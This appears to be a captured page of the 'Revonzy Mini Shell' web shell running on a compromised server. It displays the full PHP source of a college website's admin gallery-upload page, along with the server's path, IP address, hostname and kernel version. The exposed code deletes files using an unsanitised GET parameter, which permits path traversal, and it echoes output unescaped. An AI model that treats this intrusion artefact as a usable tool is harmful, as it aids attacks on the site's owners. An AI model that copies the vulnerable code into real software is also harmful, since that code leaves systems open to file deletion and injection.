Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/uesmahilamahavidyalaya.org/admin/row data/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/uesmahilamahavidyalaya.org/admin/row data/add-gallery-images.php

<?php
	require_once("lib/functions.php");
	$db = new login_function();
	$flag = 0;
	$actual_image_name="";
	$success_msg = 0;
	$image_error="";
	$department_error ="";
	$succ_flag = 0;
	$section_error = "";
	$c_id= "";
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:/admin/index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
	if(isset($_POST['section']))
	{
		 $c_id = $_POST['section'];	
	}
	if(isset($_POST['add_btn']))
	{	
		$description 	= $_POST['desc'];
		$depart 		= $_POST['dept'];
		$section 		= $_POST['section'];
		if($depart == "select_departmentt")
		{
			$department_error = "Please Select Department";
			$flag = 1;
		}
		if($section == "select_section")
		{
			$section_error = "Please Select Category";
			$flag = 1;
		}
	
		$valid_formats = array("jpg","png","gif","bmp","jpeg","JPEG","JPG","BMP","PNG","GIF");
	
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{	
			$name 				= 	$_FILES['picture']['name'];
			$size 				= 	$_FILES['picture']['size'];

			if(strlen($name))
				{				
					list($txt, $ext) = explode(".", $name);
					
					if(in_array($ext,$valid_formats))
					{
						$files	=	array();

						function generateRandomString($length = 10) {
							$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
							$charactersLength = strlen($characters);
							$randomString = '';
							for ($i = 0; $i < $length; $i++) 
							{
								$randomString .= $characters[rand(0, $charactersLength - 1)];
							}
							return $randomString;
						}
						
						$current_random_string = generateRandomString();
						
						$actual_image_name = $current_random_string.".".strtolower($ext);						

						$tmp = $_FILES['picture']['tmp_name'];
						
						$img_Dir = "../gallery/";
						
						if(!file_exists($img_Dir))
						{
							mkdir($img_Dir);
						}
						
						if(move_uploaded_file($tmp,$img_Dir.$actual_image_name))
						{
							
						}
						else
						{
							$image_error	=	"failed" ;
							$flag				=	1;
						}	
					}
					else
					{
						$image_error	= "Invalid file format";
						$flag				=	1;	
					}	
				}	
		}
		
		if($flag==0)
		{
			$section_name = $db->category_name_by_id($c_id);
			$db->new_images($depart,$section_name,$actual_image_name,$description);
			
			$succ_flag = 1 ;
			$c_id = "";
		}
	}
	if(isset($_GET['delete_id']) AND ($_GET['image']))
	{
		 $del_id	=	$_GET['delete_id'];
		 $name 	 	= $_GET['image'];
		 $db->delete_gallery_images($del_id);
		 unlink('../gallery/'.$name);
		 header("Location:/admin/add-gallery-images.php");
		 $success_msg	=	2;
	}
	$section_name = $db->category_name_by_id($c_id);
?>
<script>
function mySelectFunction() {

    document.getElementById("submit_form").submit();
}
</script>
<?php
	require_once('header.php');
?>

        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header"> Gallery Images</h1>
					<?php
					if($succ_flag == 1)
					{
					?>
					<div class="alert alert-success">
						Images Saved Successfully.
					</div>
					<?php
					}
					?>
					<?php
					if($success_msg == 2)
					{?>
					Images Deleted Successfully.
					<?php
					}
					?>
					
                </div>
                
            </div>
            
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                             Gallery Images
                        </div>
                        <div class="panel-body">
                            <div class="row">
                                <div class="col-lg-6">
                                    <form role="form" method="post" enctype="multipart/form-data" id="submit_form">
									<div class="form-group">
											<label>Select Category</label>
											<select class="form-control"  name="section" required onchange="mySelectFunction()">
											<?php
												if($c_id != "")
												{
											?>
												<option value="<?php echo $c_id; ?>"><?php echo $section_name; ?></option>
											<?php
												}
											?>
											<option value="select_section">Select Category</option>
												<?php
									
													$report_details = $db->get_all_category_info();
													if(!empty($report_details))
													{
														$counter =0;
														foreach($report_details as $record)
														{
															$id				=	$report_details[$counter][0];
															$department		=	$report_details[$counter][1];
															$section		=	$report_details[$counter][2];
															$image			=	$report_details[$counter][3];
															
												?>
													<option value="<?php echo $id; ?>"><?php echo $section; ?></option>
												<?php
														$counter++;
														}
													}
												?>
												
												
											</select>
											<span style="color:red;"><?php echo $section_error; ?></span>  
										</div>
                                        <div class="form-group">
											<label>Select Department</label>
											<select class="form-control"  name="dept" required>
												<option value="select_departmentt">Select Department</option>
												<?php
									
													$report_details = $db->get_all_department_categorywise($c_id);
													if(!empty($report_details))
													{
														$counter =0;
														foreach($report_details as $record)
														{
															$id				=	$report_details[$counter][0];
															$department		=	$report_details[$counter][1];
															$section		=	$report_details[$counter][2];
															$image			=	$report_details[$counter][3];
												?>
													<option value="<?php echo $department; ?>"><?php echo $department; ?></option>
												<?php
														$counter++;
														}
													}
												?>
											</select>
											<span style="color:red;"><?php echo $department_error; ?></span>  
										</div>
										
										
									   <div class="form-group">
                                            <label>Add Images</label>
                                            <input class="form-control" placeholder="Enter Name" name="picture" type="file" required>
										<span style="color:red;"><?php echo $image_error; ?></span>  
									   </div>
									    <div class="form-group">
                                            <label>Images Description</label>
                                            <input class="form-control" placeholder="Enter Name" name="desc" type="text" required>
										
									   </div>
                                       
                                  
                                        <button type="submit" class="btn btn-success" name="add_btn">Submit </button>	<br /><br />
                                    </form>
                                </div>
							
                                     <div class="row">
                 <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                           Images Report
                        </div>
                        <!-- /.panel-heading -->
                        <div class="panel-body">
                            <div class="table-responsive">
                                <table class="table table-striped table-bordered table-hover">
                                    <thead>
                                        <tr>
                                            <th width="20">Sr. No</th>
											<th>Department</th>
											<th>Category</th>
                                            <th>Images</th>
											<th>Description</th>    
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    <tbody>
									<?php
									
										$report_details = $db->get_all_gallery_images();
										if(!empty($report_details))
										{
											$counter =0;
											foreach($report_details as $record)
											{
												$id				=	$report_details[$counter][0];
												$department		=	$report_details[$counter][1];
												$section		=	$report_details[$counter][2];
												$images			=	$report_details[$counter][3];
												$description	=	$report_details[$counter][4];
												//$section_name = $db->category_name_by_id($section);
									?>
                                        <tr>
                                            <td><?php echo $counter+1; ?></td>
											<td><?php echo $department;  ?></td>
											<td><?php echo $section; ?></td>
											<td><a href="/gallery/<?php echo $images; ?>" target="_blank"><img src="/gallery/<?php echo $images; ?>" height="50px" width="50px"></a></td>

											 <td><?php echo $description; ?></td>
                                            <td><a href="/admin/add-gallery-images.php?delete_id=<?php echo $id;?>&image=<?php echo $images;?>" onclick="return confirm('Are you sure?');">Delete</a></td>
										</tr>
                                       <?php
										$counter ++;
											}
										}else
										{
										?>
										<td colspan="6">No Data Found...</td>
										<?php
										}
									   
									   
									   ?>
                                    </tbody>
                                </table>
                            </div>
                            <!-- /.table-responsive -->
                        </div>
                        <!-- /.panel-body -->
                    </div>
                    <!-- /.panel -->
                </div>
             
                <!-- /.col-lg-6 -->
            </div>
                                
                                   
                               
                                
                            </div>
                           
                        </div>
                        
                    </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4